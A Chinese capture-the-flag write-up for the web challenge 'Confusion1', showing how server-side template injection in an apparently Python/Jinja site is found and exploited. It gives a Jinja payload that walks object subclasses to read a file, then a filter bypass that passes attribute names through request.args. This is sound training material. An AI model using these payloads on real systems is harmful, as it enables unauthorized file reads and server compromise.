WEB:Confusion1

背景知识

SSTI漏洞

题目

根据网站图片和题目描述的提示,大象是php,蟒蛇是python,说明了这个网站是用python写的

在python中,比较常规的漏洞就是SSTI模板注入

没有思路,先点login和register页面看看

查看源代码

之前猜测是ssti漏洞,先验证

ssti常用注入

复制代码
__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类

测试payload

复制代码
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

被过滤了

替换payload为

复制代码
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

得到flag

参考学习链接:
【愚公系列】2023年05月 攻防世界-Web(Confusion1)_confusion1攻防世界_愚公搬代码的博客-CSDN博客 【攻防世界WEB】难度四星12分进阶题:Confusion1_wx617e2c956ef44的技术博客_51CTO博客

相关推荐
ReaF_star4 分钟前
【安防】Windows Server 2008虚拟机忘记密码的一时兴起
网络·windows·安全
SelectDB技术团队8 分钟前
云上数据安全新范式:Apache Doris IAM Assume Role 解锁无密钥访问 AWS S3 数据
服务器·前端·安全
Safe network access26 分钟前
IDA9.1+TRAE完成自动化逆向
网络·安全·逆向·ctf
黑客思维者32 分钟前
嵌入式操作系统安全加固详细设计指南
网络·安全·嵌入式设备·安全评估·linux 安全加固
FairGuard手游加固38 分钟前
SLG游戏安全风险分析
安全·游戏
龙泉寺天下行走42 分钟前
[powershell 入门教程]第9天:PowerShell 安全、代码签名与企业部署
安全·powershell
黑客思维者44 分钟前
智能配电能源管理系统的融合安全架构设计与需求解析
安全·能源·需求分析
黑客思维者1 小时前
智能配电嵌入式系统安全编码规范Checklist与实施指南
安全·系统安全·编码规范
2501_916008891 小时前
iOS App 混淆的真实世界指南,从构建到成品 IPA 的安全链路重塑
android·安全·ios·小程序·uni-app·cocoa·iphone
询问QQ:4877392781 小时前
混凝土细观压缩损伤模型ABAQUS,适合刚接触ABAQUS软件的初学者学习,包括模型文件与讲解视频
web安全